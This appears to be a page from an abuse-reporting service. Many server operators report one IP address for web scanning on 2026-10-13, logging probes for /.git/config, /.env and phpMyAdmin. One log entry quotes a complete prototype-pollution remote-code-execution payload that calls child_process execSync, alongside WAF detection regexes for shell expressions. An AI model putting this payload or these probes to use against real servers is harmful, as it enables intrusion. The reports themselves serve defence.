🇳🇱
debestelapp
2026-10-13 20:55:09
(2 weeks ago)
Web App Attack
🇬🇧
consul.to
2026-10-13 20:00:36
(2 weeks ago)
Web attack/malicious scanning detected
Web App Attack
2026-10-13 19:30:11
(2 weeks ago)
Banned by Fail2Ban on server
Web App Attack
🇺🇸
TPI-Abuse
2026-10-13 18:42:20
(2 weeks ago)
(mod_security) mod_security (id:210492) triggered by 35.207.156.236 (236.156.207.35.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Oct 13 14:42:15.738802 2026] [security2:error] [pid 11073:ti ...
show more
(mod_security) mod_security (id:210492) triggered by 35.207.156.236 (236.156.207.35.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Oct 13 14:42:15.738802 2026] [security2:error] [pid 11073:tid 11073] [client 35.207.156.236:49076] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "120"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cygnetsilks.com"] [uri "/.git/config"] [unique_id "as57hxIq7BEtuLmp00rf6wAAAAA"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇸🇪
vaia.cloud
2026-10-13 18:30:09
(2 weeks ago)
crowdsecurity/http-admin-interface-probing
Brute-Force
Web App Attack
🇫🇷
cydit.eu
2026-10-13 18:06:18
(2 weeks ago)
phpMyAdmin attack detected by fail2ban on thor.cydit.eu
Web App Attack
🇨🇭
zynex
2026-10-13 17:13:24
(2 weeks ago)
URL Probing: /.env
Web App Attack
🇳🇱
Roderic
2026-10-13 16:32:15
(2 weeks ago)
(apache-scanners) Failed apache-scanners trigger with match [redacted])
Port Scan
🇨🇭
4server
2026-10-13 15:19:36
(2 weeks ago)
[TueOct1317:19:32.7062142026][security2:error][pid88758:tid88903][client35.207.156.236:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\ ...
show more
[TueOct1317:19:32.7062142026][security2:error][pid88758:tid88903][client35.207.156.236:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"cybertelgroup.com\"][uri\"/\"][unique_id\"as5MBHJS6nYQveOhrVyFxQAAARM\"]
show less
Hacking
Web App Attack
🇬🇧
Celtic
2026-10-13 15:10:53
(2 weeks ago)
Blocked by Fail2Ban with Jail (plesk-modsecurity)
Brute-Force
SSH
🇺🇸
TPI-Abuse
2026-10-13 14:57:41
(2 weeks ago)
(mod_security) mod_security (id:210492) triggered by 35.207.156.236 (236.156.207.35.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Oct 13 10:57:34.976243 2026] [security2:error] [pid 5273:tid ...
show more
(mod_security) mod_security (id:210492) triggered by 35.207.156.236 (236.156.207.35.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Oct 13 10:57:34.976243 2026] [security2:error] [pid 5273:tid 5273] [client 35.207.156.236:46892] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cybersoftware.org"] [uri "/.git/config"] [unique_id "as5G3s-lFEsUUO0z895YrQAAAAQ"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-10-13 11:37:38
(2 weeks ago)
(mod_security) mod_security (id:210492) triggered by 35.207.156.236 (236.156.207.35.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Oct 13 07:37:32.289646 2026] [security2:error] [pid 20499:ti ...
show more
(mod_security) mod_security (id:210492) triggered by 35.207.156.236 (236.156.207.35.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Oct 13 07:37:32.289646 2026] [security2:error] [pid 20499:tid 20499] [client 35.207.156.236:59116] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cyberclay.net"] [uri "/.git/config"] [unique_id "as4X_IA9pki_zh94UPeHuwAAACY"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇫🇮
as211431.net
2026-10-13 11:29:29
(2 weeks ago)
Triggered Cloudflare WAF (firewallCustom) from DE.
Action taken: BLOCK
Protocol: HTTP/1.1 (GET method)
Endpoint: /notifications/.env
UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
...
show more
Triggered Cloudflare WAF (firewallCustom) from DE.
Action taken: BLOCK
Protocol: HTTP/1.1 (GET method)
Endpoint: /notifications/.env
UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
This report was generated by:
https://github.com/sefinek/Cloudflare-WAF-To-AbuseIPDB
show less
Bad Web Bot
🇨🇦
john doe
2026-10-13 10:45:42
(2 weeks ago)
SentinelBot: Secret-path hunting (5 distinct paths): Env File Hunting (score: 67)
Bad Web Bot
🇫🇷
dynamix
2026-10-13 10:29:48
(2 weeks ago)
Multiple WAF Violations
Web App Attack
